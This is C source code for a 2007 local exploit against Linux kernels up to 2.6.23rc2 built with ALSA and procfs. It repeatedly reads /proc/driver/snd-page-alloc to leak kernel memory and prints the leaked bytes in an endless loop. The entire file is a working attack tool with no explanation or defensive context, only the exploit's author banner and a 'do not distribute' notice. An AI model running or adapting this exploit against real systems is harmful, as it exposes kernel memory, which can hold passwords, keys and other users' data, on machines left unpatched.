/* snd-page-read.c
 *
 * Copyright (c) 2007 by <mu-b@digit-labs.org>
 *
 * Linux Kernel <= 2.6.23rc2 (ALSA+CONFIG_PROC_FS) local kernel memory read
 * by mu-b - Sun Aug 26 2007
 *
 * - Tested on: Linux 2.6.20 (lnx/x86)
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2007!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <fcntl.h>
#include <string.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <sys/user.h>   /* PAGE_SIZE */
#include <unistd.h>

#define SNDALLOC_DEVICE "/proc/driver/snd-page-alloc"

void *
xmalloc (int num_bytes)
{
  char *buf;

  buf = malloc (num_bytes);
  if (buf == NULL)
    {
      fprintf (stderr, "malloc (): out of memory allocating %d-bytes!\n", num_bytes);
      exit (EXIT_FAILURE);
    }

  return (buf);
}

int
get_num_kernel_bytes (void)
{
  int fd, i, num_bytes, read_bytes;
  char *buf, *ptr;

  fd = open (SNDALLOC_DEVICE, O_RDONLY);
  if (fd == -1)
    {
      perror ("get_num_kernel_bytes: open ()");
      exit (EXIT_FAILURE);
    }

  /* fs/proc/generic.c
   *
   * allocate PAGE_SIZE bytes since read_proc (snd_mem_proc_read) will
   * overflow the kernel anyway should it produce more that PAGE_SIZE bytes!
   */
  read_bytes = PAGE_SIZE * sizeof (char);
  buf = xmalloc (read_bytes);

  if (lseek (fd, 0, SEEK_SET) == -1)
    {
      perror ("get_num_kernel_bytes: lseek ()");
      exit (EXIT_FAILURE);
    }

  for (i = 0, ptr = buf; i < read_bytes; i++, ptr++)
    if (read (fd, ptr, 1) != 1)
      break;

  close (fd);

  num_bytes = i;
  free (buf);

  return (num_bytes);
}

int
main (int argc, char ** argv)
{
  int fd, i, num_bytes;
  char *buf, *ptr;

  printf ("Linux Kernel <= 2.6.23rc2 (ALSA+CONFIG_PROC_FS) local kernel memory read exploit\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2007!@$!\n\n");

  /* the number of bytes we can read from the inode - 1
   * since the first byte is always \0
   */
  num_bytes = get_num_kernel_bytes ();
  fprintf (stdout, "reading %d-bytes from kernel inodes\n", num_bytes - 1);

  buf = xmalloc (num_bytes);

  while (1)
    {
      fd = open (SNDALLOC_DEVICE, O_RDONLY);
      if (fd == -1)
        {
          perror ("open ()");
          exit (EXIT_FAILURE);
        }

      for (i = 0, ptr = buf; i < num_bytes; i++, ptr++)
        {
          if (read (fd, ptr, 1) != 1)
            fprintf (stdout, "ARGH! only read %d-bytes!\n", i);
        }

      close (fd);

      for (i = 0; i < num_bytes; i++)
        fprintf (stdout, "%c", (unsigned char) buf[i]);

      fprintf (stdout, "\n");
    }

  return (EXIT_SUCCESS);
}
